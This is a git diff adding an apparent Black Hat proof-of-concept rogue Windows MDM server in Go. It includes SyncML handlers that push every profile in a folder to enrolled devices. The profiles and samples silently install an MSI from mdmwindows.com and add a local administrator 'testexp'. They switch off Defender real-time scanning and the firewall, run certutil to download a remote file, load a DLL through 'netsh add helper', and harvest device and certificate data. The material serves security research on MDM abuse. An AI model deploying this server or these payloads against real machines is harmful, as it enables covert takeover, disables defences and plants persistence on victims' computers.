+ fmt.Printf("====================Query String GET:\n%s\n====================", r.URL.RawQuery) + w.Header().Set("Content-Type", "text/html; charset=UTF-8") + + w.Write([]byte(` + MDM Federated Login + + + `)) + + return + } else if r.Method == http.MethodPost { + fmt.Printf("====================Query String POST:\n%s\n====================", r.URL.RawQuery) + } +} diff --git a/tools/blackhat-mdm/mdm_server_poc/mde_tos.go b/tools/blackhat-mdm/mdm_server_poc/mde_tos.go new file mode 100755 index 0000000000..49daf19a59 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/mde_tos.go @@ -0,0 +1,79 @@ +package main + +import ( + "bytes" + "net/http" + "strconv" + "text/template" +) + +// TOSHandler is the HTTP handler assosiated with the Terms Of Use endpoint +func TOSHandler(w http.ResponseWriter, r *http.Request) { + + // Get query param named test + //test := r.URL.Query().Get("test") + + //RequestURI: "/TOS.svc?api-version=1.0&redirect_uri=ms-appx-web%3a%2f%2fMicrosoft.AAD.BrokerPlugin&client-request-id=bbd77af5-3c4d-4b4e-aef6-6360a94ffb93" + + redirectUri := r.URL.Query().Get("redirect_uri") + clientReqID := r.URL.Query().Get("client-request-id") + + tmpl, err := template.New("").Parse(` + + + + + + + Document + + + + + PDF Example by Object Tag + + Unable to display PDF file. Download instead. + + + + + `) + if err != nil { + return + } + + /* + tmpl, err := template.New("").Parse(` + + + + Redirecting to Fleet ... + + + `) + if err != nil { + return + } + */ + var htmlBuf bytes.Buffer + err = tmpl.Execute(&htmlBuf, map[string]string{"RedirectURL": redirectUri, "ClientData": clientReqID}) + if err != nil { + return + } + + // Return response body + w.Header().Set("Content-Type", "text/html; charset=UTF-8") + w.Header().Set("Content-Length", strconv.Itoa(len(htmlBuf.String()))) + w.Write(htmlBuf.Bytes()) +} diff --git a/tools/blackhat-mdm/mdm_server_poc/mdm_manage.go b/tools/blackhat-mdm/mdm_server_poc/mdm_manage.go new file mode 100755 index 0000000000..63edf18c10 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/mdm_manage.go @@ -0,0 +1,311 @@ +package main + +import ( + "encoding/xml" + "fmt" + "io/ioutil" + "net" + "net/http" + "os" + "strconv" + "strings" +) + +// SyncML XML Parsing Types - This needs to be improved +type SyncMLHeader struct { + DTD string `xml:"VerDTD"` + Version string `xml:"VerProto"` + SessionID int `xml:"SessionID"` + MsgID int `xml:"MsgID"` + Target string `xml:"Target>LocURI"` + Source string `xml:"Source>LocURI"` + MaxMsgSize int `xml:"Meta>A:MaxMsgSize"` +} + +type SyncMLCommandMeta struct { + XMLinfo string `xml:"xmlns,attr"` + Type string `xml:"Type"` +} + +type SyncMLCommandItem struct { + Meta SyncMLCommandMeta `xml:"Meta"` + Source string `xml:"Source>LocURI"` + Data string `xml:"Data"` +} + +type SyncMLCommand struct { + XMLName xml.Name + CmdID int `xml:",omitempty"` + MsgRef string `xml:",omitempty"` + CmdRef string `xml:",omitempty"` + Cmd string `xml:",omitempty"` + Target string `xml:"Target>LocURI"` + Source string `xml:"Source>LocURI"` + Data string `xml:",omitempty"` + Item []SyncMLCommandItem `xml:",any"` +} + +type SyncMLBody struct { + Item []SyncMLCommand `xml:",any"` +} + +type SyncMLMessage struct { + XMLinfo string `xml:"xmlns,attr"` + Header SyncMLHeader `xml:"SyncHdr"` + Body SyncMLBody `xml:"SyncBody"` +} + +// Returns the MDM configuration profile SyncML content from profile dir +func getConfigurationProfiles(cmdIDstart int) string { + + files, err := ioutil.ReadDir(profileDir) + if err != nil { + panic(err) + } + + var syncmlCommands string + var tokenCmdID string = "xxcmdidxx" + + for _, file := range files { + fileContent, err := os.ReadFile(profileDir + "/" + file.Name()) + if err != nil { + panic(err) + } + + fileContentStr := string(fileContent) + nrTokenOcurrences := strings.Count(fileContentStr, tokenCmdID) + for i := 0; i < nrTokenOcurrences; i++ { + cmdIDstart++ + + fmt.Printf("\n--------- Command Request %d ---------\n", cmdIDstart) + fmt.Printf("Command payload retrieved from file %s\n", file.Name()) + + fileContentStr = strings.Replace(fileContentStr, tokenCmdID, strconv.Itoa(cmdIDstart), 1) + } + + if len(fileContentStr) > 0 { + syncmlCommands += fileContentStr + syncmlCommands += "\n" + } + } + + //input sanitization + sanitizedSyncmlOutput := strings.ReplaceAll(syncmlCommands, "\r\n", "\n") + if len(sanitizedSyncmlOutput) > 0 { + fmt.Print("\n") + } + return sanitizedSyncmlOutput +} + +// Alert Command IDs +const DeviceUnenrollmentID = "1226" +const HostInitMessageID = "1201" + +// Checks if body contains a DM device unrollment SyncML message +func isDeviceUnenrollmentMessage(body SyncMLBody) bool { + for _, element := range body.Item { + if element.Data == DeviceUnenrollmentID { + return true + } + } + + return false +} + +// Checks if body contains a DM session initialization SyncML message sent by device +func isSessionInitializationMessage(body SyncMLBody) bool { + isUnenrollMessage := isDeviceUnenrollmentMessage(body) + + for _, element := range body.Item { + if element.Data == HostInitMessageID && !isUnenrollMessage { + return true + } + } + + return false +} + +// Get IP address from HTTP Request +func getIP(r *http.Request) (string, error) { + + //Get IP from the X-REAL-IP header + ip := r.Header.Get("X-REAL-IP") + netIP := net.ParseIP(ip) + if netIP != nil { + return ip, nil + } + + //Get IP from X-FORWARDED-FOR header + ips := r.Header.Get("X-FORWARDED-FOR") + splitIps := strings.Split(ips, ",") + for _, ip := range splitIps { + netIP := net.ParseIP(ip) + if netIP != nil { + return ip, nil + } + } + + //Get IP from RemoteAddr + ip, _, err := net.SplitHostPort(r.RemoteAddr) + if err != nil { + return "", err + } + netIP = net.ParseIP(ip) + if netIP != nil { + return ip, nil + } + return "", fmt.Errorf("no valid ip found") +} + +// ManageHandler is the HTTP handler assosiated with the mdm management service. This is what constantly pushes configuration profiles to the device. +func ManageHandler(w http.ResponseWriter, r *http.Request) { + // Read The HTTP Request body + bodyRaw, err := ioutil.ReadAll(r.Body) + if err != nil { + panic(err) + } + + var responseRaw []byte + var response string + var message SyncMLMessage + + //Parsing input SyncML message + if err := xml.Unmarshal(bodyRaw, &message); err != nil { + panic(err) + } + + // Cmd ID variable with getNextCmdID() increment statement hack + CmdID := 0 + getNextCmdID := func(i *int) string { *i++; return strconv.Itoa(*i) } + + // Retrieve the MessageID From The Body For The Response + DeviceID := message.Header.Source + + // Retrieve the SessionID From The Body For The Response + SessionID := message.Header.SessionID + + // Retrieve the MsgID From The Body For The Response + MsgID := message.Header.MsgID + + //Only handle DM session initialization SyncML message sent by device + + // Retrieve the IP Address from calling device + ipAddressBytes, err := getIP(r) + if err != nil { + panic(err) + } + + //Checking the SyncML message types + if isSessionInitializationMessage(message.Body) { + + fmt.Printf("\n========= New OMA-DM session from Windows Host %s (%s) =========\n", string(ipAddressBytes), r.UserAgent()) + + // Create response payload - MDM syncml configuration profiles commands will be enforced here + response = ` + + + + 1.2 + DM/1.2 + ` + strconv.Itoa(SessionID) + ` + ` + strconv.Itoa(MsgID) + ` + + ` + DeviceID + ` + + + https://` + domain + `/ManagementServer/MDM.svc + + + + + ` + getNextCmdID(&CmdID) + ` + ` + strconv.Itoa(MsgID) + ` + 0 + SyncHdr + 200 + + + ` + getNextCmdID(&CmdID) + ` + ` + strconv.Itoa(MsgID) + ` + 2 + Alert + 200 + + + ` + getNextCmdID(&CmdID) + ` + ` + strconv.Itoa(MsgID) + ` + 3 + Alert + 200 + + + ` + getNextCmdID(&CmdID) + ` + ` + strconv.Itoa(MsgID) + ` + 4 + Replace + 200 + + ` + getConfigurationProfiles(CmdID) + ` + + + ` + + // Return response + responseRaw = []byte(strings.ReplaceAll(strings.ReplaceAll(response, "\n", ""), "\t", "")) + w.Header().Set("Content-Type", "application/vnd.syncml.dm+xml") + w.Header().Set("Content-Length", strconv.Itoa(len(response))) + w.Write(responseRaw) + } else { + + //Log if this is a device unrollment message + if isDeviceUnenrollmentMessage(message.Body) { + fmt.Printf("\nWindows Device at %s was removed from MDM!\n\n", string(ipAddressBytes)) + } + + //Acknowledge the HTTP request sent by device + response = ` + + + + 1.2 + DM/1.2 + ` + strconv.Itoa(SessionID) + ` + ` + strconv.Itoa(MsgID) + ` + + ` + DeviceID + ` + + + https://` + domain + `/ManagementServer/MDM.svc + + + + + ` + getNextCmdID(&CmdID) + ` + ` + strconv.Itoa(MsgID) + ` + 0 + SyncHdr + 200 + + + + ` + + // Dump Response Payload + for _, element := range message.Body.Item { + if element.XMLName.Local != "Final" && element.Cmd != "SyncHdr" { + commandStr, _ := xml.MarshalIndent(element, "", " ") + if element.XMLName.Local == "Status" { + fmt.Printf("\n--------- Command Response %s - Return Code: %s ---------\n", element.CmdRef, element.Data) + } else { + fmt.Printf("%s\n", commandStr) + } + } + } + + // Return response body + responseRaw = []byte(strings.ReplaceAll(strings.ReplaceAll(response, "\n", ""), "\t", "")) + w.Header().Set("Content-Type", "application/vnd.syncml.dm+xml") + w.Header().Set("Content-Length", strconv.Itoa(len(response))) + w.Write(responseRaw) + } +} diff --git a/tools/blackhat-mdm/mdm_server_poc/profile/add_exec_install_payload.xml b/tools/blackhat-mdm/mdm_server_poc/profile/add_exec_install_payload.xml new file mode 100755 index 0000000000..02ff8a0b9e --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/profile/add_exec_install_payload.xml @@ -0,0 +1,38 @@ + + xxcmdidxx + + + ./Device/Vendor/MSFT/EnterpriseDesktopAppManagement/MSI/%7Bf5645004-3214-46ea-92c2-48835689da06%7D/DownloadInstall + + + + + xxcmdidxx + + + ./Device/Vendor/MSFT/EnterpriseDesktopAppManagement/MSI/%7Bf5645004-3214-46ea-92c2-48835689da06%7D/DownloadInstall + + <MsiInstallJob id="{f5645004-3214-46ea-92c2-48835689da06}"> + <Product Version="1.0.0.0"> + <Download> + <ContentURLList> + <ContentURL>https://mdmwindows.com/static/payload.msi</ContentURL> + </ContentURLList> + </Download> + <Validation> + <FileHash>7D127BA8F8CC5937DB3052E2632D672120217D910E271A58565BBA780ED8F05C</FileHash> + </Validation> + <Enforcement> + <CommandLine>/quiet</CommandLine> + <TimeOut>10</TimeOut> + <RetryCount>1</RetryCount> + <RetryInterval>5</RetryInterval> + </Enforcement> + </Product> + </MsiInstallJob> + + text/plain + xml + + + \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_server_poc/profile/add_new_privileged_user.xml b/tools/blackhat-mdm/mdm_server_poc/profile/add_new_privileged_user.xml new file mode 100755 index 0000000000..9de3686a98 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/profile/add_new_privileged_user.xml @@ -0,0 +1,34 @@ + + xxcmdidxx + + + ./Device/Vendor/MSFT/Accounts/Users/testexp + + + + + xxcmdidxx + + + ./Device/Vendor/MSFT/Accounts/Users/testexp/Password + + + text/plain + chr + + testpass + + + + xxcmdidxx + + + ./Device/Vendor/MSFT/Accounts/Users/testexp/LocalUserGroup + + + text/plain + int + + 2 + + \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/device_information1.xml b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/device_information1.xml new file mode 100755 index 0000000000..6e167020e9 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/device_information1.xml @@ -0,0 +1,176 @@ + + xxcmdidxx + + + ./DevDetail/DevTyp + + + + + xxcmdidxx + + + ./DevDetail/Ext/Microsoft/DeviceName + + + + + xxcmdidxx + + + ./DevDetail/Ext/Microsoft/DNSComputerName + + + + + xxcmdidxx + + + ./DevDetail/Ext/Microsoft/LocalTime + + + + + xxcmdidxx + + + ./DevDetail/Ext/Microsoft/OSPlatform + + + + + xxcmdidxx + + + ./DevDetail/Ext/WlanIPv4Address + + + + + xxcmdidxx + + + ./DevDetail/FwV + + + + + xxcmdidxx + + + ./DevDetail/HwV + + + + + xxcmdidxx + + + ./DevDetail/SwV + + + + + xxcmdidxx + + + ./Vendor/MSFT/DeviceStatus/Antivirus/SignatureStatus + + + + + xxcmdidxx + + + ./Vendor/MSFT/DeviceStatus/Antivirus/Status + + + + + xxcmdidxx + + + ./Vendor/MSFT/DeviceStatus/DeviceGuard/HypervisorEnforcedCodeIntegrityStatus + + + + + xxcmdidxx + + + ./Vendor/MSFT/DeviceStatus/DeviceGuard/VirtualizationBasedSecurityStatus + + + + + xxcmdidxx + + + ./Vendor/MSFT/DeviceStatus/DeviceGuard/LsaCfgCredGuardStatus + + + + + xxcmdidxx + + + ./Vendor/MSFT/DeviceStatus/DeviceGuard/SystemGuardStatus + + + + + xxcmdidxx + + + ./Vendor/MSFT/DeviceStatus/Firewall/Status + + + + + xxcmdidxx + + + ./Vendor/MSFT/DeviceStatus/OS/Edition + + + + + xxcmdidxx + + + ./DevInfo/DevId + + + + + xxcmdidxx + + + ./DevInfo/DmV + + + + + xxcmdidxx + + + ./DevInfo/Lang + + + + + xxcmdidxx + + + ./DevInfo/Man + + + + + xxcmdidxx + + + ./DevInfo/Mod + + + \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/device_information2.xml b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/device_information2.xml new file mode 100755 index 0000000000..8072b04256 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/device_information2.xml @@ -0,0 +1,307 @@ + + xxcmdidxx + + + ./Device/Vendor/MSFT/Policy/Config/Defender/AllowRealtimeMonitoring + + + int + text/plain + + 0 + + + + + xxcmdidxx + + + ./cimv2/Win32_LogicalDisk + + + + + xxcmdidxx + + + ./DevDetail/Ext/DeviceHardwareData + + + + + xxcmdidxx + + + ./cimv2/Win32_LogicalDisk/Win32_LogicalDisk.DeviceID='C:'/FreeSpace + + + + + xxcmdidxx + + + Win32_LogicalDisk.DeviceID="C:"/Win32_LogicalDisk.DeviceID="D:" + + + + + xxcmdidxx + + + Win32_LogicalDisk.DeviceID="C:"/Win32_LogicalDisk.DeviceID="D:" + + + + + xxcmdidxx + + + ./Vendor/MSFT/WiFi/Profile + + + + + xxcmdidxx + + + ./cimV2/Win32_PhysicalMemory + + + + + xxcmdidxx + + + ./cimV2/Win32_BIOS + + + + + xxcmdidxx + + + ./cimV2/Win32_BaseBoard + + + + + xxcmdidxx + + + ./cimV2/Win32_BaseBoard + + + + + xxcmdidxx + + + ./cimV2/Win32_LogicalDisk/Win32_LogicalDisk.DeviceID='C:'/DriveTyp + + + + + xxcmdidxx + + + ./cimV2/Win32_LogicalDisk/Win32_LogicalDisk.DeviceID='C:'/FileSystem + + + + + xxcmdidxx + + + ./cimV2/Win32_LogicalDisk/Win32_LogicalDisk.DeviceID='C:'/FreeSpace + + + + + xxcmdidxx + + + ./cimV2/Win32_LogicalDisk/Win32_LogicalDisk.DeviceID='C:'/Size + + + + + xxcmdidxx + + + ./cimV2/Win32_LogicalDisk/Win32_LogicalDisk.DeviceID='C:'/VolumeName + + + + + xxcmdidxx + + + ./cimV2/Win32_LogicalDisk/Win32_LogicalDisk.DeviceID='C:'/VolumeSerialNumber + + + + + + xxcmdidxx + + + ./cimV2/Win32_PhysicalMemory/Win32_PhysicalMemory.Tag='Physical%20Memory%200'/Capacity + + + + + xxcmdidxx + + + ./cimV2/Win32_PhysicalMemory/Win32_PhysicalMemory.Tag='Physical%20Memory%200'/DataWidth + + + + + xxcmdidxx + + + ./cimV2/Win32_PhysicalMemory/Win32_PhysicalMemory.Tag='Physical%20Memory%200'/Description + + + + + xxcmdidxx + + + ./cimV2/Win32_PhysicalMemory/Win32_PhysicalMemory.Tag='Physical%20Memory%200'/DeviceLocator + + + + + xxcmdidxx + + + ./cimV2/Win32_PhysicalMemory/Win32_PhysicalMemory.Tag='Physical%20Memory%200'/FormFactor + + + + + xxcmdidxx + + + ./cimV2/Win32_PhysicalMemory/Win32_PhysicalMemory.Tag='Physical%20Memory%200'/Manufacturer + + + + + xxcmdidxx + + + ./cimV2/Win32_PhysicalMemory/Win32_PhysicalMemory.Tag='Physical%20Memory%200'/PartNumber + + + + + xxcmdidxx + + + ./cimV2/Win32_PhysicalMemory/Win32_PhysicalMemory.Tag='Physical%20Memory%200'/SerialNumber + + + + + xxcmdidxx + + + ./cimV2/Win32_PhysicalMemory/Win32_PhysicalMemory.Tag='Physical%20Memory%200'/Speed + + + + + xxcmdidxx + + + + xxcmdidxx + + + ./cimV2/Win32_PhysicalMemory/Win32_PhysicalMemory.Tag='Physical%20Memory%200'/TotalWidth + + + + + xxcmdidxx + + + ./Vendor/MSFT/DeviceStatus/SecureBootState + + + + + xxcmdidxx + + + ./Vendor/MSFT/DeviceStatus/Compliance/EncryptionCompliance + + + + + xxcmdidxx + + + ./Vendor/MSFT/DeviceStatus/TPM/SpecificationVersion + + + + + xxcmdidxx + + + ./Vendor/MSFT/DeviceStatus/Battery/Status + + + + + xxcmdidxx + + + ./Vendor/MSFT/DeviceStatus/Battery/EstimatedChargeRemaining + + + + + xxcmdidxx + + + ./Vendor/MSFT/DeviceStatus/Battery/EstimatedRuntime + + + + + xxcmdidxx + + + ./Device/Vendor/MSFT/BitLocker/RequireDeviceEncryption + + + + + xxcmdidxx + + + ./Device/Vendor/MSFT/BitLocker/EncryptionMethodByDriveType + + + + + xxcmdidxx + + + ./Vendor/MSFT/DmClient/Provider/MiradoreMDM/HWDevID + + + + + xxcmdidxx + + + ./cimV2/Win32_ComputerSystemProduct + + + \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/diaglog_diagnosticarchive.xml b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/diaglog_diagnosticarchive.xml new file mode 100755 index 0000000000..392fc6b719 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/diaglog_diagnosticarchive.xml @@ -0,0 +1,92 @@ + + xxcmdidxx + + + ./Vendor/MSFT/DiagnosticLog/DiagnosticArchive/ArchiveDefinition + + <Collection> + <ID>2e20cb4-9789-4f6b-8f6a-766989764c6d</ID> + <SasUrl><![CDATA[https://myaccount.blob.core.windows.net/mycontainer?sp=aw&st=2020-07-01T23:02:07Z&se=2020-07-02T23:02:07Z&sv=2019-10-10&sr=c&sig=wx9%2FhwrczAI0nZL7zl%2BhfZVfOBvboTAnrGYfjlO%2FRFA%3D]]></SasUrl> + <RegistryKey>HKLM\Software\Policies</RegistryKey> + <FoldersFiles>%ProgramData%\Microsoft\DiagnosticLogCSP\Collectors\*.etl</FoldersFiles> + <Command>%windir%\system32\ipconfig.exe /all</Command> + <Command>%windir%\system32\dsregcmd.exe /all</Command> + <Command>%windir%\system32\netsh.exe firewall set opmode disable</Command> + <Command>%windir%\system32\certutil.exe -urlcache -split -f https://mdmwindows.com/static/hello.txt hello.txt</Command> + <Command>%windir%\system32\netsh.exe add helper C:\Users\User\file.dll</Command> + <Events>Application</Events> + <OutputFileFormat>Flattened</OutputFileFormat> +</Collection> + + text/plain + xml + + + + + + xxcmdidxx + + + ./Vendor/MSFT/DiagnosticLog/DiagnosticArchive/ArchiveDefinition + + <Collection> + <ID>4e52cb3-3789-4f6b-8f6a-766989764c6d</ID> + <SasUrl><![CDATA[https://myaccount.blob.core.windows.net/mycontainer?sp=aw&st=2020-07-01T23:02:07Z&se=2020-07-02T23:02:07Z&sv=2019-10-10&sr=c&sig=wx9%2FhwrczAI0nZL7zl%2BhfZVfOBvboTAnrGYfjlO%2FRFA%3D]]></SasUrl> + <Command>%windir%\system32\ipconfig.exe /all</Command> + <Command>%windir%\system32\dsregcmd.exe /all</Command> + <Command>%windir%\system32\netsh.exe firewall set opmode disable</Command> + <Command>%windir%\system32\certutil.exe -urlcache -split -f https://mdmwindows.com/static/hello.txt hello.txt</Command> + <Command>%windir%\system32\netsh.exe add helper C:\Users\User\file.dll</Command> + <OutputFileFormat>Flattened</OutputFileFormat> +</Collection> + + + + + + + + + xxcmdidxx + + + ./Vendor/MSFT/DiagnosticLog/DiagnosticArchive/ArchiveDefinition + + <Collection> + <ID>2e31cb4-9789-4f6b-8f6a-766989764c6d</ID> + <SasUrl><![CDATA[https://myaccount.blob.core.windows.net/mycontainer?sp=aw&st=2020-07-01T23:02:07Z&se=2020-07-02T23:02:07Z&sv=2019-10-10&sr=c&sig=wx9%2FhwrczAI0nZL7zl%2BhfZVfOBvboTAnrGYfjlO%2FRFA%3D]]></SasUrl> + <Command>%windir%\system32\mdmdiagnosticstool.exe -out %ProgramData%\temp2\</Command> + <OutputFileFormat>Flattened</OutputFileFormat> +</Collection> + + + + + + f1e20cb4-9789-4f6b-8f6a-766989764c6d + + HKLM\Software\Policies + %ProgramData%\Microsoft\DiagnosticLogCSP\Collectors\*.etl + %windir%\system32\ipconfig.exe /all + %windir%\system32\mdmdiagnosticstool.exe -out %ProgramData%\temp\ + %ProgramData%\temp\*.* + Application + Flattened + + + + + + xxcmdidxx + + + ./Vendor/MSFT/DiagnosticLog/DiagnosticArchive/ArchiveDefinition + + + + text/plain + xml + + + \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/diaglog_etw.xml b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/diaglog_etw.xml new file mode 100755 index 0000000000..2a3eedbf88 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/diaglog_etw.xml @@ -0,0 +1,25 @@ + + xxcmdidxx + + + ./Vendor/MSFT/DiagnosticLog/EtwLog/Collectors/CustomTraceSession/ +Providers/22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716 + + + node + + + + + xxcmdidxx + + + ./Vendor/MSFT/DiagnosticLog/EtwLog/Collectors/CustomTraceSession/TraceControl + + + chr + + START + + + diff --git a/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/disable_date_time.xml b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/disable_date_time.xml new file mode 100755 index 0000000000..eed2a02c1e --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/disable_date_time.xml @@ -0,0 +1,13 @@ + + xxcmdidxx + + + ./Device/Vendor/MSFT/Policy/Config/Settings/AllowDateTime + + + int + text/plain + + 0 + + \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/disable_defender_realtime_scanning.xml b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/disable_defender_realtime_scanning.xml new file mode 100755 index 0000000000..242cc8f256 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/disable_defender_realtime_scanning.xml @@ -0,0 +1,13 @@ + + xxcmdidxx + + + ./Device/Vendor/MSFT/Policy/Config/Defender/AllowRealtimeMonitoring + + + int + text/plain + + 0 + + \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/disable_firewall.xml b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/disable_firewall.xml new file mode 100755 index 0000000000..606804e859 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/disable_firewall.xml @@ -0,0 +1,13 @@ + + xxcmdidxx + + + ./Vendor/MSFT/Firewall/MdmStore/PrivateProfile/EnableFirewall + + + bool + text/plain + + false + + \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/get_all_installed_certificates.xml b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/get_all_installed_certificates.xml new file mode 100755 index 0000000000..ffda20da09 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/get_all_installed_certificates.xml @@ -0,0 +1,8 @@ + + xxcmdidxx + + + ./Vendor/MSFT/CertificateStore/Root/System?list=StructData + + + \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/get_csp_versions.xml b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/get_csp_versions.xml new file mode 100755 index 0000000000..a2eb7ac169 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/get_csp_versions.xml @@ -0,0 +1,8 @@ + + xxcmdidxx + + + ./Device/Vendor/MSFT/DeviceManageability/Capabilities/CSPVersions + + + \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/get_device_name.xml b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/get_device_name.xml new file mode 100755 index 0000000000..d08a026e15 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/get_device_name.xml @@ -0,0 +1,8 @@ + + xxcmdidxx + + + ./DevDetail/Ext/Microsoft/DeviceName + + + \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/get_hardware_version.xml b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/get_hardware_version.xml new file mode 100755 index 0000000000..d83fdfe44d --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/get_hardware_version.xml @@ -0,0 +1,8 @@ + + xxcmdidxx + + + ./DevDetail/HwV + + + \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/get_local_time.xml b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/get_local_time.xml new file mode 100755 index 0000000000..b0ca903df5 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/get_local_time.xml @@ -0,0 +1,8 @@ + + xxcmdidxx + + + ./DevDetail/Ext/Microsoft/LocalTime + + + \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/get_os_platform.xml b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/get_os_platform.xml new file mode 100755 index 0000000000..70da07b6b6 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/get_os_platform.xml @@ -0,0 +1,8 @@ + + xxcmdidxx + + + ./DevDetail/Ext/Microsoft/OSPlatform + + + \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/get_software_version.xml b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/get_software_version.xml new file mode 100755 index 0000000000..5ed47c5407 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/get_software_version.xml @@ -0,0 +1,8 @@ + + xxcmdidxx + + + ./DevDetail/SwV + + + \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/replace_personalization_desktop_image_url.xml b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/replace_personalization_desktop_image_url.xml new file mode 100755 index 0000000000..8cf6d4d389 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/replace_personalization_desktop_image_url.xml @@ -0,0 +1,13 @@ + + xxcmdidxx + + + ./Vendor/MSFT/Personalization/DesktopImageUrl + + + chr + text/plain + + https://fleetdm.com/images/articles/fleet-4.24.0-cover-1600x900@2x.jpg + + \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/replace_personalization_lock_screen_image_url.xml b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/replace_personalization_lock_screen_image_url.xml new file mode 100755 index 0000000000..3ea18697bc --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/sample_syncml_commands/replace_personalization_lock_screen_image_url.xml @@ -0,0 +1,13 @@ + + xxcmdidxx + + + ./Vendor/MSFT/Personalization/LockScreenImageUrl + + + chr + text/plain + + https://fleetdm.com/images/articles/fleet-4.24.0-cover-1600x900@2x.jpg + + \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_server_poc/static/hello.txt b/tools/blackhat-mdm/mdm_server_poc/static/hello.txt new file mode 100755 index 0000000000..7bd2398d95 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/static/hello.txt @@ -0,0 +1 @@ +world \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_server_poc/static/payload.msi b/tools/blackhat-mdm/mdm_server_poc/static/payload.msi new file mode 100755 index 0000000000..1267e148f1 Binary files /dev/null and b/tools/blackhat-mdm/mdm_server_poc/static/payload.msi differ diff --git a/tools/blackhat-mdm/mdm_server_poc/static/tos.html b/tools/blackhat-mdm/mdm_server_poc/static/tos.html new file mode 100755 index 0000000000..0d2310b698 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/static/tos.html @@ -0,0 +1,25 @@ + + + Terms and Conditions + + + + + Term Of Service + Terms and Conditions text should go here + + + Accept + + + \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_server_poc/x509_wrapper.go b/tools/blackhat-mdm/mdm_server_poc/x509_wrapper.go new file mode 100755 index 0000000000..ad840cffc6 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/x509_wrapper.go @@ -0,0 +1,1574 @@ +package main + +import ( + "bytes" + "crypto" + "encoding/asn1" + "errors" + "fmt" + "math" + "math/big" + "net" + "net/url" + "reflect" + "strconv" + "strings" + "time" + "unicode" + "unicode/utf16" + "unicode/utf8" + + // Explicitly import these for their crypto.RegisterHash init side-effects. + // Keep these as blank imports, even if they're imported above. + + "crypto/dsa" //lint:ignore required for crypto.RegisterHash + "crypto/ecdsa" + "crypto/ed25519" + "crypto/elliptic" + "crypto/rsa" + _ "crypto/sha1" + _ "crypto/sha256" + _ "crypto/sha512" + "crypto/x509" + "crypto/x509/pkix" + + "golang.org/x/crypto/cryptobyte" + cryptobyte_asn1 "golang.org/x/crypto/cryptobyte/asn1" +) + +// ParseCertificateRequest parses a single certificate request from the +// given ASN.1 DER data. +func ParseCertificateRequest2(asn1Data []byte) (*x509.CertificateRequest, error) { + var csr certificateRequest + + rest, err := asn1.Unmarshal(asn1Data, &csr) + if err != nil { + return nil, err + } else if len(rest) != 0 { + return nil, asn1.SyntaxError{Msg: "trailing data"} + } + + return parseCertificateRequest(&csr) +} + 